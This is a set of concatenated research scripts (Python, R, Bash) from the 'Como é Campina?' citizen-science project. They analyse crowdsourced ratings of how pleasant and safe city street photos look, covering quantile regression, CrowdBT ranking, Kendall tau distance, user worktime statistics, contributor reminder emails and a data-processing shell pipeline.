response = pd.DataFrame(response, columns=['Rank%s-Rank%s' % first_min_second])
explanatory = df[features].copy()
#explanatory = pd.DataFrame(MinMaxScaler().fit_transform(explanatory.copy().values),
# columns=explanatory.columns)
#explanatory['intercept'] = np.ones(len(explanatory), dtype='d')
explanatory['is_catole'] = np.array(df['bairro'] == 'catole', dtype='d')
explanatory['is_centro'] = np.array(df['bairro'] == 'centro', dtype='d')
explanatory['is_liberdade'] = np.array(df['bairro'] == 'liberdade', dtype='d')
model = QuantReg(response, explanatory)
max_left = 0.0
max_left_q = 0
max_right = 0.0
max_right_q = 0
rsqs = []
qs = []
util = []
values = {}
for name in explanatory.columns:
values[name] = np.zeros(10)
i = 0
for q in np.linspace(0.05, 0.95, 5):
values[name][i] = 0
i += 1
for i, q in enumerate(np.linspace(0.05, 0.95, 5)):
fitted = model.fit(q=q)
adjr2 = fitted.prsquared
qs.append(q)
rsqs.append(adjr2)
for name in fitted.params[fitted.pvalues < 0.05].index:
if fitted.params[name] != 0:
print(first_min_second[0]+"_"+first_min_second[1]+"\t"+name+"\t"+str(fitted.params[name])
+"\t"+str(q)+"\t"+str(fitted.pvalues[name]))
values[name][i] = fitted.params[name]
util.append(sum(fitted.pvalues < 0.05))
if q > 0.5 and adjr2 > max_right:
max_right = adjr2
max_right_q = q
if q < 0.5 and adjr2 > max_left:
max_left = adjr2
max_left_q = q
fitted_left = model.fit(q=max_left_q)
good_left = fitted_left.params[fitted_left.pvalues < 0.05]
fitted_right = model.fit(q=max_right_q)
good_right = fitted_right.params[fitted_right.pvalues < 0.05]
print('Looking into model quality. Extremes are better, indicating that it is where features matter')
plt.title('<- %s ; %s ->' % (first_min_second[1], first_min_second[0]))
plt.plot(qs, rsqs, 'wo')
plt.xlabel('Quantile')
plt.ylabel('Adjusted-R2')
plt.show()
print('Number of variables w p < 0.05 per quantile')
plt.title('<- %s ; %s ->' % (first_min_second[1], first_min_second[0]))
plt.plot(qs, util, 'wo')
plt.xlabel('Quantile')
plt.ylabel('Variables where p < 0.05')
plt.show()
print('Looking into important variables')
if first_min_second[0] == 'Jovem':
yLimits[first_min_second] = [-150, 150]
elif first_min_second[0] == 'Masculino':
yLimits[first_min_second] = [-160, 160]
elif first_min_second[0] == 'Casado':
yLimits[first_min_second] = [-160, 160]
elif first_min_second[0] == 'Baixa':
yLimits[first_min_second] = [-150, 150]
plt.title('<- %s ; %s ->' % (first_min_second[1], first_min_second[0]))
plt.xlabel('Quantile')
plt.ylabel('Features\n <- %s ; %s ->' % (first_min_second[1], first_min_second[0]))
axes = plt.gca()
axes.set_xlim([0,1])
axes.set_ylim(yLimits[first_min_second])
use_colours = {"street_wid": "gray", "mov_cars": "red", "park_cars": "lightsalmon"
, "mov_ciclyst": "yellow", "landscape": "blue", "build_ident": "lightblue",
"trees": "green", "build_height": "darkgray", "diff_build": "purple",
"people": "orange", "graffiti": "black", "is_catole": "salmon", "is_centro": "springgreen",
"is_liberdade": "magenta"}
for name in values:
y = values[name]
if y.any():
#plt.title('<- %s ; %s ->' % (first_min_second[1], first_min_second[0]))
#plt.plot(qs, y, 'ro')
#plt.xlabel('Quantile')
#plt.ylabel(name + '\n <- %s ; %s ->' % (first_min_second[1], first_min_second[0]))
#axes = plt.gca()
#axes.set_xlim([0,1])
#axes.set_ylim(yLimits[first_min_second])
#plt.show()
plt.figure(1)
#plt.plot(qs, y, 'ro')#plt.plot(qs, y, 'ro')
plt.scatter(qs,y,c=[use_colours[name] for name in values],s=50)
plt.show()
# print('=====================')
# print('What if we consider the "peak" models')
# print('======================================')
# print('What causes a good impression for %s' %first_min_second[0])
# print(good_right[good_right > 0])
# for name in good_right[good_right > 0].index:
# plt.plot(explanatory[name], response, 'wo')
# idx = explanatory[name].values.argsort()
# plt.plot(explanatory[name][idx], fitted_right.predict()[idx], 'r-')
# plt.xlabel('Value for - %s' % name)
# plt.ylabel('Difference in Ranking')
# plt.show()
# print()
# print('Bad impression')
# print(good_right[good_right < 0])
# for name in good_right[good_right < 0].index:
# plt.plot(explanatory[name], response, 'wo')
# idx = explanatory[name].values.argsort()
# plt.plot(explanatory[name][idx], fitted_right.predict()[idx], 'r-')
# plt.xlabel('Value for - %s' % name)
# plt.ylabel('Difference in Ranking')
# plt.show()
# print()
# print('The model for %s' %first_min_second[0])
# print(fitted_right.summary())
# print()
# print()
# print('What causes a good impression for %s' %first_min_second[1])
# print(good_left[good_left < 0])
# for name in good_left[good_left < 0].index:
# plt.plot(explanatory[name], response, 'wo')
# idx = explanatory[name].values.argsort()
# plt.plot(explanatory[name][idx], fitted_left.predict()[idx], 'b-')
# plt.xlabel('Value for - %s' % name)
# plt.ylabel('Difference in Ranking')
# plt.show()
# print()
# print('Bad impression')
# print(good_left[good_left > 0])
# for name in good_left[good_left > 0].index:
# plt.plot(explanatory[name], response, 'wo')
# idx = explanatory[name].values.argsort()
# plt.plot(explanatory[name][idx], fitted_left.predict()[idx], 'b-')
# plt.xlabel('Value for - %s' % name)
# plt.ylabel('Difference in Ranking')
# plt.show()
# print()
# print('The model for %s' %first_min_second[1])
# print(fitted_left.summary())
# print()
# print()
# In[ ]:
# In[ ]:
<file_sep>#Script to estimate mean and median worktime of each user in Como e Campina
import sys
import time as tm
import datetime
from sets import Set
import json
import numpy as np
def readUserData(lines1, lines2, outputFileName):
""" Reading user profile """
users_tasks = {}
users_tasks_diff = {}
firstDate = datetime.date(1970, 6, 24)
agrad_dic = {"agradavel?" : "agrad%C3%A1vel?", "agrad%C3%A1vel?" : "agradavel?"}
#Reading from pybossa task-run CSV - V1
for line in lines1:
data = line.split("+")
created = data[1].split("T")[0].split("-")
created.extend(data[1].split("T")[1].split(":"))
created.extend(created[5].split("."))
task_id = data[3]
user_id = data[4]
time_info = data[6].split("T")[0].split("-")#2015-02-17T18:19:52.589591
time_info.extend(data[6].split("T")[1].split(":"))
time_info.extend(time_info[5].split("."))
init_time = datetime.datetime(int(created[0]), int(created[1]), int(created[2]), int(created[3]), int(created[4]), int(created[6]), int(created[7]))
finish_time = datetime.datetime(int(time_info[0]), int(time_info[1]), int(time_info[2]), int(time_info[3]), int(time_info[4]), int(time_info[6]), int(time_info[7]))
if user_id in users_tasks.keys():
user_worktimes = users_tasks[user_id]
user_worktimes_diff = users_tasks_diff[user_id]
else:
user_worktimes = []
user_worktimes_diff = []
user_worktimes.append((finish_time - init_time).total_seconds())
user_worktimes_diff.append(finish_time)
users_tasks[user_id] = user_worktimes
users_tasks_diff[user_id] = user_worktimes_diff
#Reading from pybossa task-run CSV - V2
for line in lines2:
data = line.split("+")
created = data[1].split("T")[0].split("-")
created.extend(data[1].split("T")[1].split(":"))
created.extend(created[5].split("."))
task_id = data[3]
user_id = data[4]
time_info = data[6].split("T")[0].split("-")#2015-02-17T18:19:52.589591
time_info.extend(data[6].split("T")[1].split(":"))
time_info.extend(time_info[5].split("."))
init_time = datetime.datetime(int(created[0]), int(created[1]), int(created[2]), int(created[3]), int(created[4]), int(created[6]), int(created[7]))
finish_time = datetime.datetime(int(time_info[0]), int(time_info[1]), int(time_info[2]), int(time_info[3]), int(time_info[4]), int(time_info[6]), int(time_info[7]))
if user_id in users_tasks.keys():
user_worktimes = users_tasks[user_id]
user_worktimes_diff = users_tasks_diff[user_id]
else:
user_worktimes = []
user_worktimes_diff = []
user_worktimes.append((finish_time - init_time).total_seconds())
user_worktimes_diff.append(finish_time)
users_tasks[user_id] = user_worktimes
users_tasks_diff[user_id] = user_worktimes_diff
#Computing average worktime per user
output_file = open(outputFileName, "w")
output_file.write("id" + "\t" + "mean_time" + "\t" + "median_time" + "\t" + "sum_time" + "\t" + "mean_diff" + "\t" + "median_diff" + "\t" + "sum_diff\n")
for user_id in users_tasks.keys():
user_worktimes = users_tasks[user_id]
user_worktimes_diff = users_tasks_diff[user_id]
current_diffs = []
for index in range(1, len(user_worktimes_diff)):
time1 = user_worktimes_diff[index-1]
time2 = user_worktimes_diff[index]
if time1 > time2:
greater = time1
lower = time2
else:
greater = time2
lower = time1
worktime = (greater - lower).total_seconds()
if worktime <= 5 * 60:
current_diffs.append(worktime)
#if user_id == "617":
# for value in user_worktimes:
# print "work\t" + str(value)
# for value in current_diffs:
# print "diff\t" + str(value)
output_file.write(user_id + "\t" + str(np.mean(user_worktimes)) + "\t" + str(np.median(user_worktimes)) + "\t" + str(np.sum(user_worktimes)) + "\t" + str(np.mean(current_diffs)) + "\t" + str(np.median(current_diffs)) + "\t" + str(np.sum(current_diffs))+"\n")
output_file.close()
if __name__ == "__main__":
if len(sys.argv) < 3:
print "Uso: <arquivo com execucoes das tarefas e perfis dos usuarios - V1> <arquivo com execucoes das tarefas e perfis dos usuarios - V2>"
sys.exit(1)
dataFile1 = ""#open(sys.argv[1], 'r')
dataFile2 = open(sys.argv[2], 'r')
lines1 = []#dataFile1.readlines()
lines2 = dataFile2.readlines()
usersTasks = readUserData(lines1, lines2, "worktime.dat")
#dataFile1.close()
dataFile2.close()
<file_sep># coding=utf-8
import sys
import datetime
import os
import smtplib
import mimetypes
import email
from email.MIMEMultipart import MIMEMultipart
from email.Utils import COMMASPACE
from email.MIMEBase import MIMEBase
from email.parser import Parser
from email.MIMEImage import MIMEImage
from email.MIMEText import MIMEText
from email.MIMEAudio import MIMEAudio
#Calculates the last time user has contributed to the system
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo periodo no qual usuario atuou no sistema>"
sys.exit(1)
dataFile = open(sys.argv[1], "r")
lines = dataFile.readlines()
userAction = {}
for line in lines:
data = line.split(",")
userName = data[1]
mail = data[2]
timeString = data[3]
actionDate = datetime.datetime.strptime(timeString.strip(), "%Y-%m-%dT%H:%M:%S.%f").date()
if mail.strip() not in userAction.keys():
timePassed = (actionDate.today() - actionDate).days
userAction[mail.strip()] = {userName.strip() : timePassed}
#Sending emails
user = "<EMAIL>"
passw = "<PASSWORD>"
for mail in userAction.keys():
for name in userAction[mail].keys():
smtp_host = 'smtp.gmail.com'
smtp_port = 587
server = smtplib.SMTP()
server.connect(smtp_host,smtp_port)
server.ehlo()
server.starttls()
server.login(user,passw)
fromaddr = "Como é Campina?"
tolist = ["<EMAIL>"]
sub = "Estamos sentindo sua falta!"
msg = email.MIMEMultipart.MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = email.Utils.COMMASPACE.join(tolist)
msg['Subject'] = sub
msg.attach(MIMEText("Olá "+name+",\n\n"+"Tudo bem com você? Sua contribuição no Como é Campina? foi muito importante para finalizarmos 77% das nossas tarefas, estamos sentindo a sua falta! Você visitou nossa plataforma há "+ str(userAction[mail][name]) + " dias, mas a Ciência Cidadã ainda precisa de você! \n\n Gostaríamos de contar com mais uma contribuição sua: ajude-nos a divulgar nosso projeto de modo a finalizarmos 100% das nossas tarefas, faça a diferença!\n\n Compartilhe o link do nosso projeto em suas redes sociais, convide seus amigos a participar e contribua conosco!\n"))
msg.attach(MIMEText("<a href=https://www.facebook.com/sharer/sharer.php?u=https://contribua.org/pybossa/app/comoecampina><img src=\"https://contribua.org/aguanossa/images/facebook.png\"/></a> <a href=https://twitter.com/intent/tweet?text=Ajude a melhorar Campina avaliando fotos da cidade&url=https://contribua.org/pybossa/app/comoecampina&original_referer=><img src=\"https://contribua.org/aguanossa/images/twitter.png\"/></a>", "html"))
msg.attach(MIMEText("\n"))
msg.attach(MIMEText("Abraços,\n Equipe do Como é Campina?"))
#img_data = open('facebook.png', 'rb').read()
#msg.attach(MIMEImage(img_data, 'png'))
#msg.attach(MIMEText('\nsent via python', 'plain'))
server.sendmail(user,tolist,msg.as_string())
print str(mail)+"\t"+ str(name)+"\t"+str(userAction[mail][name])
break
<file_sep>from gavel.models import *
from gavel.constants import *
import gavel.utils as utils
import gavel.crowd_bt as crowd_bt
from gavel.controllers.judge import *
from numpy.random import choice, random, shuffle
from functools import wraps
from datetime import datetime
import sys
import json
import csv
import pandas as pd
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
#possible answers
left = 'Left'
right = 'Right'
notKnown = 'NotKnown'
completeTie = 'equal'
def readTasksDefinitions(linesTasks):
""" Reading tasks definition for newer version (V2) of Como é Campina App"""
tasksDef = {}
for line in linesTasks:
data = line.split("+")
taskID = data[0].strip(' \t\n\r')
currentDef = json.loads(data[7].strip(' \t\n\r\"'))
tasksDef[taskID] = currentDef
return tasksDef
def evaluateAllVotes(lines, outputFileName, tasksDefinitions):
""" Reading Como é Campina csv run file and building annotators and items to check ranking according to CrowdBT. """
#Create items dict
items_agrad = {}
items_seg = {}
#Create annotators dict
annotators = {}
#Reading from pybossa task-run CSV
for line in lines:
lineData = line.split("+")
executionID = lineData[0].strip(' \t\n\r"')
taskID = lineData[3].strip(' \t\n\r"')
annotatorID = lineData[4].strip(' \t\n\r"')
userAnswer = lineData[9].strip(' \t\n\r"')
#Checking and retrieving annotator
if annotatorID in annotators.keys():
annotator = annotators[annotatorID]
else:
annotator = Annotator(annotatorID, "<EMAIL>", annotatorID)
annotators[annotatorID] = annotator
#It is a new Como e Campina vote, read tasks definition from JSON!
if executionID[0].lower() == 'n':
data = json.loads(userAnswer)
if data['question'].strip(' \t\n\r"') == "agradavel":
question = possibleQuestions[0]
else:
question = possibleQuestions[1]
photo1_name = data['theMost'].strip(' \t\n\r"')
photo2_name = data['theLess'].strip(' \t\n\r"')
taskDef = tasksDefinitions[taskID]
photos = set( [taskDef['url_c'].strip(' \t\n\r"'), taskDef['url_b'].strip(' \t\n\r"'), taskDef['url_a'].strip(' \t\n\r"'), taskDef['url_d'].strip(' \t\n\r"')] )
if photo1_name != completeTie:
photos.remove(photo1_name)
photos.remove(photo2_name)
else:
photo1_name = photos.pop()
photo2_name = photos.pop()
photo3_name = photos.pop()
photo4_name = photos.pop()
#Checking and retrieving photos information
if question == possibleQuestions[0]:#Pleasantness
items_map = items_agrad
else:#Safety
items_map = items_seg
if photo1_name in items_map.keys():
photo1 = items_map[photo1_name]
else:
photo1 = Item(photo1_name, "campina grande", photo1_name)
items_map[photo1_name] = photo1
if photo2_name in items_map.keys():
photo2 = items_map[photo2_name]
else:
photo2 = Item(photo2_name, "campina grande", photo2_name)
items_map[photo2_name] = photo2
if photo3_name in items_map.keys():
photo3 = items_map[photo3_name]
else:
photo3 = Item(photo3_name, "campina grande", photo3_name)
items_map[photo3_name] = photo3
if photo4_name in items_map.keys():
photo4 = items_map[photo4_name]
else:
photo4 = Item(photo4_name, "camp<NAME>ande", photo4_name)
items_map[photo4_name] = photo4
#Saving votes from task-run
if photo1 != completeTie:
#Vote 1
annotator.prev = photo1
annotator.next = photo2
perform_vote(annotator, next_won=False)
decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
annotator.next.viewed.append(annotator)
annotator.ignore.append(annotator.prev)
#Vote 2
annotator.prev = photo1
annotator.next = photo3
perform_vote(annotator, next_won=False)
decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
annotator.next.viewed.append(annotator)
annotator.ignore.append(annotator.prev)
#Vote 3
annotator.prev = photo1
annotator.next = photo4
perform_vote(annotator, next_won=False)
decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
annotator.next.viewed.append(annotator)
annotator.ignore.append(annotator.prev)
#Vote 4
annotator.prev = photo2
annotator.next = photo3
perform_vote(annotator, next_won=True)
decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
annotator.next.viewed.append(annotator)
annotator.ignore.append(annotator.prev)
#Vote 5
annotator.prev = photo2
annotator.next = photo4
perform_vote(annotator, next_won=True)
decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
annotator.next.viewed.append(annotator)
annotator.ignore.append(annotator.prev)
#Vote 6
annotator.prev = photo3
annotator.next = photo4
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
else:
#Vote 1
annotator.prev = photo1
annotator.next = photo2
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
#Vote 2
annotator.prev = photo1
annotator.next = photo3
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
#Vote 3
annotator.prev = photo1
annotator.next = photo4
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
#Vote 4
annotator.prev = photo2
annotator.next = photo3
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
#Vote 5
annotator.prev = photo2
annotator.next = photo4
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
#Vote 6
annotator.prev = photo3
annotator.next = photo4
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
else:#Old-fashioned way of capturing votes
#In user answers that contain profile information, jump to comparison
if userAnswer[0] == '{':
index = userAnswer.find("Qual")
if index == -1:
raise Exception("Line with profile does not contain question: " + userAnswer)
userAnswer = userAnswer[index:].split(" ")
else:
userAnswer = userAnswer.split(" ")
question = userAnswer[5].strip(' \t\n\r"')
answer = userAnswer[6].strip(' \t\n\r"')
photo1_name = userAnswer[7].strip(' \t\n\r"')
photo2_name = userAnswer[8].strip(' \t\n\r"')
#Checking and retrieving photos information
if question == possibleQuestions[0]:#Pleasantness
items_map = items_agrad
else:#Safety
items_map = items_seg
if photo1_name in items_map.keys():
photo1 = items_map[photo1_name]
else:
photo1 = Item(photo1_name, "campina grande", photo1_name)
items_map[photo1_name] = photo1
if photo2_name in items_map.keys():
photo2 = items_map[photo2_name]
else:
photo2 = Item(photo2_name, "campina grande", photo2_name)
items_map[photo2_name] = photo2
#Saving votes from task-run
annotator.prev = photo1
annotator.next = photo2
if answer == left:
perform_vote(annotator, next_won=False)
decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
annotator.next.viewed.append(annotator)
annotator.ignore.append(annotator.prev)
elif answer == right:
perform_vote(annotator, next_won=True)
decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
annotator.next.viewed.append(annotator)
annotator.ignore.append(annotator.prev)
elif answer == notKnown:
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
#Output file
output = open(outputFileName, 'w')
for item_name, item in items_agrad.items():
output.write(possibleQuestions[0]+ "\t" + item_name+ "\t" + str(item.mu) + "\t" + str(item.sigma_sq)+'\n')
for item_name, item in items_seg.items():
output.write(possibleQuestions[1]+ "\t" + item_name+ "\t" + str(item.mu) + "\t" + str(item.sigma_sq)+'\n')
output.close()
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Uso: <arquivo com execuções das tarefas> <tasks definition - V2>")
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
tasksFile = open(sys.argv[2], 'r')
lines = dataFile.readlines()
linesTasks = tasksFile.readlines()
evaluateAllVotes(lines, "allPairwiseComparison.dat", readTasksDefinitions(linesTasks))
#Create items
#items = {}
#for i in range(1, 5):
# items["item"+str(i)] = Item("item"+str(i), "campina grande", "item"+str(i))
#Create annotators
#annotators = {}
#for i in ["david", "jose", "pablo"]:
# annotators[i] = Annotator(i, "<EMAIL>", i)
#Build relations and vote!
#for annotator in annotators.values():
# for data in [ [items["item1"], items["item4"]], [items["item1"], items["item3"]], [items["item3"], items["item2"]] ]:
#
#
# if annotator.name == "david" or annotator.name == "pablo":
# annotator.prev = data[0]
# annotator.next = data[1]
# else:
# annotator.prev = data[1]
# annotator.next = data[0]
#
# #Choosing whether prev or next (left or right) won!
# perform_vote(annotator, next_won=True)
# decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
# annotator.next.viewed.append(annotator)
# #annotator.prev = annotator.next
# annotator.ignore.append(annotator.prev)
# #if request.form['action'] == 'Skip':
# # annotator.ignore.append(annotator.next)
#
# #Showing results!
# for item in items.values():
# print("Item " + str(item.name) + " mu " + str(item.mu) + " sq " + str(item.sigma_sq) )
<file_sep># Functions to calculate the kendall tau distance of two rankings
mergeSort <- function(x){
# Sorts a list computing the number of inversions
#
# Args:
# x: list with itens to be sorted
# Returns:
# List with two values:
# "inversions": number of inversions and sorted list
# "sortedVector": x sorted
#
# Method adapted from http://goo.gl/LyDFRf
if(length(x) == 1){
inv <- 0
} else {
n <- length(x)
n1 <- ceiling(n/2)
n2 <- n-n1
y1 <- mergeSort(x[1:n1])
y2 <- mergeSort(x[n1+1:n2])
inv <- y1$inversions + y2$inversions
x1 <- y1$sortedVector
x2 <- y2$sortedVector
i1 <- 1
i2 <- 1
while(i1+i2 <= n1+n2+1){
if(i2 > n2 || (i1 <= n1 && x1[i1] <= x2[i2])){
x[i1+i2-1] <- x1[i1]
i1 <- i1 + 1
} else {
inv <- inv + n1 + 1 - i1
x[i1+i2-1] <- x2[i2]
i2 <- i2 + 1
}
}
}
return (list(inversions=inv,sortedVector=x))
}
numberOfInversions <- function(x){
# Computes number of inversions
#
# Args:
# x: list with the distance of each item
#
# Returns:
# Kendall thau, i.e. the number of inversions
r <- mergeSort(x)
return (r$inversions)
}
normalizedKendallTauDistance <- function(x,y){
# Computes normalized kendall tau distance
#
# Args:
# x: One of two vectors whose distance is to be calculated.
# y: The other vector. x and y must have the same length, greater than one,
# with no missing values.
#
# Returns:
# The normalized Kendall tau distance
#
# Based on http://en.wikipedia.org/wiki/Kendall_tau_distance
tau = numberOfInversions(order(x)[rank(y)])
nItens = length(x)
maxNumberOfInverstions <- (nItens*(nItens-1))/2
normalized = tau/maxNumberOfInverstions
return(normalized)
}
args <- commandArgs(trailingOnly = TRUE)
rank1 <- read.table(args[1])
rank2 <- read.table(args[2])
matriz <- merge(rank1, rank2, by="V1")
normalizedKendallTauDistance(matriz$V2.x, matriz$V2.y)
<file_sep>#!/bin/bash
#### COMPUTING PERCEPTIONS FOR A STREET
sed -i -e 's/^/N/g' ../backupBanco/run.csv #Adding identifier in the beggining of each line
sed -i -e 's/""/"/g' ../backupBanco/run.csv
sed -i -e 's/""/"/g' ../backupBanco/tasksDef.csv
#Creating folders for groups
mkdir idsGerais
mkdir idsCampina
mkdir idsNotCampina
#Separating all users into groups
python analisaUsuarios.py run.csv run.csv
python separaGrupo.py separa usersInfo.dat users_notcampina_campina.dat users_gender.dat
sort -t "|" -k 1 -g -o usersInfo.dat usersInfo.dat
mv campina.dat casado.dat adulto.dat baixa.dat catole.dat centro.dat feminino.dat jovem.dat liberdade.dat masculino.dat media.dat medio.dat notcampina.dat notcatole.dat notcentro.dat notliberdade.dat posgrad.dat solteiro.dat usersInfo*.dat usersNAnswered.dat usersPhotos* cities.dat idsGerais/
#Must run in percepcaoLocal/agradavel folder
python marcaImagem.py #All users
python marcaImagem.py ../../usuario/idsGrupos/notcampina.dat notcampina > debug.dat #Only users of notcampina group
python marcaImagem.py ../../usuario/idsGrupos/campina.dat campina > debug.dat #Only users of campina group
#Split users
python selectRunPerUsers.py ../backupBanco/run.csv ../backupBanco/idsGerais/notcampina.dat > run100/runnotCampina.csv
python selectRunPerUsers.py ../backupBanco/run.csv ../backupBanco/idsGerais/campina.dat > run100/runCampina.csv
python selectRunPerUsers.py ../backupBanco/run.csv ../backupBanco/idsGerais/masculino.dat > run100/runMasculino.csv
python selectRunPerUsers.py ../backupBanco/run.csv ../backupBanco/idsGerais/feminino.dat > run100/runFeminino.csv
python selectRunPerUsers.py ../backupBanco/run.csv ../backupBanco/idsGerais/jovem.dat > run100/runJovem.csv
python selectRunPerUsers.py ../backupBanco/run.csv ../backupBanco/idsGerais/adulto.dat > run100/runAdulto.csv
python selectRunPerUsers.py ../backupBanco/run.csv ../backupBanco/idsGerais/media.dat > run100/runMedia.csv
python selectRunPerUsers.py ../backupBanco/run.csv ../backupBanco/idsGerais/baixa.dat > run100/runBaixa.csv
cp ../backupBanco/idsGerais/media.dat ../backupBanco/idsGerais/baixa.dat ../backupBanco/idsGerais/adulto.dat ../backupBanco/idsGerais/jovem.dat ../backupBanco/idsGerais/feminino.dat ../backupBanco/idsGerais/masculino.dat ../backupBanco/idsGerais/campina.dat ../backupBanco/idsGerais/notcampina.dat idsGrupos
#Separating subgroups - Run in backupBanco folder
python analisaUsuarios.py ../usuario/run100/runCampina.csv ../usuario/run100/runCampina.csv
python separaGrupo.py separa usersInfo.dat users_notcampina_campina.dat users_gender.dat
sort -t "|" -k 1 -g -o usersInfo.dat usersInfo.dat
mv campina.dat casado.dat adulto.dat baixa.dat catole.dat centro.dat feminino.dat jovem.dat liberdade.dat masculino.dat media.dat medio.dat notcampina.dat notcatole.dat notcentro.dat notliberdade.dat posgrad.dat solteiro.dat usersInfo*.dat usersNAnswered.dat usersPhotos* cities.dat idsCampina/
python analisaUsuarios.py ../usuario/run100/runnotCampina.csv ../usuario/run100/runnotCampina.csv
python separaGrupo.py separa usersInfo.dat users_notcampina_campina.dat users_gender.dat
sort -t "|" -k 1 -g -o usersInfo.dat usersInfo.dat
mv campina.dat casado.dat adulto.dat baixa.dat catole.dat centro.dat feminino.dat jovem.dat liberdade.dat masculino.dat media.dat medio.dat notcampina.dat notcatole.dat notcentro.dat notliberdade.dat posgrad.dat solteiro.dat usersInfo*.dat usersNAnswered.dat usersPhotos* cities.dat idsNotCampina/
#Analyze Q-Score
python analisaQScore.py ../backupBanco/run.csv 100 ../backupBanco/tasksDef.csv campina
grep agrad all.dat > all100/allGeral.dat
rm all.dat
python analisaQScore.py run100/runnotCampina.csv 100 ../backupBanco/tasksDef.csv campina
grep agrad all.dat > all100/allNotCampina.dat
rm all.dat
python analisaQScore.py run100/runCampina.csv 100 ../backupBanco/tasksDef.csv campina
grep agrad all.dat > all100/allCampina.dat
rm all.dat
python analisaQScore.py run100/runMasculino.csv 100 ../backupBanco/tasksDef.csv campina
grep agrad all.dat > all100/allMasculino.dat
rm all.dat
python analisaQScore.py run100/runFeminino.csv 100 ../backupBanco/tasksDef.csv campina
grep agrad all.dat > all100/allFeminino.dat
rm all.dat
python analisaQScore.py run100/runJovem.csv 100 ../backupBanco/tasksDef.csv campina
grep agrad all.dat > all100/allJovem.dat
rm all.dat
python analisaQScore.py run100/runAdulto.csv 100 ../backupBanco/tasksDef.csv campina
grep agrad all.dat > all100/allAdulto.dat
rm all.dat
python analisaQScore.py run100/runMedia.csv 100 ../backupBanco/tasksDef.csv campina
grep agrad all.dat > all100/allMedia.dat
rm all.dat
python analisaQScore.py run100/runBaixa.csv 100 ../backupBanco/tasksDef.csv campina
grep agrad all.dat > all100/allBaixa.dat
rm all.dat
#Sorting by mean Q-Score per photo
sort -k 3 -r all100/allGeral.dat > all100/all_ordenado.dat
sort -k 3 -r all100/allCampina.dat > all100/all_campina_ordenado.dat
sort -k 3 -r all100/allNotCampina.dat > all100/all_notcampina_ordenado.dat
sort -k 3 -r all100/allMedia.dat > all100/all_media_ordenado.dat
sort -k 3 -r all100/allBaixa.dat > all100/all_baixa_ordenado.dat
sort -k 3 -r all100/allFeminino.dat > all100/all_feminino_ordenado.dat
sort -k 3 -r all100/allMasculino.dat > all100/all_masculino_ordenado.dat
sort -k 3 -r all100/allJovem.dat > all100/all_jovem_ordenado.dat
sort -k 3 -r all100/allAdulto.dat > all100/all_adulto_ordenado.dat
#Finding intersections between evaluated photos of different groups
python encontraInterseccao.py all100/all_campina_ordenado.dat all100/all_notcampina_ordenado.dat > all100/intersection_all_campina_notcampina.dat
python encontraInterseccao.py all100/all_media_ordenado.dat all100/all_media_ordenado.dat > all100/intersection_all_baixa_media.dat
python encontraInterseccao.py all100/all_feminino_ordenado.dat all100/all_masculino_ordenado.dat > all100/intersection_all_feminino_masculino.dat
python encontraInterseccao.py all100/all_jovem_ordenado.dat all100/all_adulto_ordenado.dat > all100/intersection_all_jovem_adulto.dat
#Preparing html pages and sorted intersection files
python preparaHTML.py all100/all_ordenado.dat
rm questionFilter.html
mv question.html rankings100/question.html
python preparaHTML.py all100/all_campina_ordenado.dat all100/intersection_all_campina_notcampina.dat > all100/all_campina_ordInter.dat
rm questionFilter.html
mv question.html rankings100/questionCampina.html
python preparaHTML.py all100/all_notcampina_ordenado.dat all100/intersection_all_campina_notcampina.dat > all100/all_notcampina_ordInter.dat
rm questionFilter.html
mv question.html rankings100/questionNotCampina.html
python preparaHTML.py all100/all_jovem_ordenado.dat all100/intersection_all_jovem_adulto.dat > all100/all_jovem_ordInter.dat
rm questionFilter.html
mv question.html rankings100/questionAllJovem.html
python preparaHTML.py all100/all_adulto_ordenado.dat all100/intersection_all_jovem_adulto.dat > all100/all_adulto_ordInter.dat
rm questionFilter.html
mv question.html rankings100/questionAllAdulto.html
python preparaHTML.py all100/all_baixa_ordenado.dat all100/intersection_all_baixa_media.dat > all100/all_baixa_ordInter.dat
rm questionFilter.html
mv question.html rankings100/questionAllBaixa.html
python preparaHTML.py all100/all_media_ordenado.dat all100/intersection_all_baixa_media.dat > all100/all_media_ordInter.dat
rm questionFilter.html
mv question.html rankings100/questionAllMedia.html
python preparaHTML.py all100/all_feminino_ordenado.dat all100/intersection_all_feminino_masculino.dat > all100/all_feminino_ordInter.dat
rm questionFilter.html
mv question.html rankings100/questionAllFeminino.html
python preparaHTML.py all100/all_masculino_ordenado.dat all100/intersection_all_feminino_masculino.dat > all100/all_masculino_ordInter.dat
rm questionFilter.html
mv question.html rankings100/questionAllMasculino.html
#Analyzing Per Street
python analisaPorRua.py all100/all_ordenado.dat
mv qscores-df.csv qscores-df-geral.csv
mv qscores-df-summary.dat qscores-df-summary-geral.dat
python analisaPorRua.py all100/all_campina_ordenado.dat
mv qscores-df.csv qscores-df-campina.csv
mv qscores-df-summary.dat qscores-df-summary-campina.dat
python analisaPorRua.py all100/all_notcampina_ordenado.dat
mv qscores-df.csv qscores-df-notcampina.csv
mv qscores-df-summary.dat qscores-df-summary-notcampina.dat
<file_sep>#!/bin/bash
# This script is used to download photos from Google Street View
for file in `ls *.addr` ; do
neighborhood=`echo "${file}" | cut -d'.' -f 1`
mkdir ${neighborhood}
echo ">>>> Arquivo: ${file}"
echo ">>>>> Bairro: ${neighborhood}"
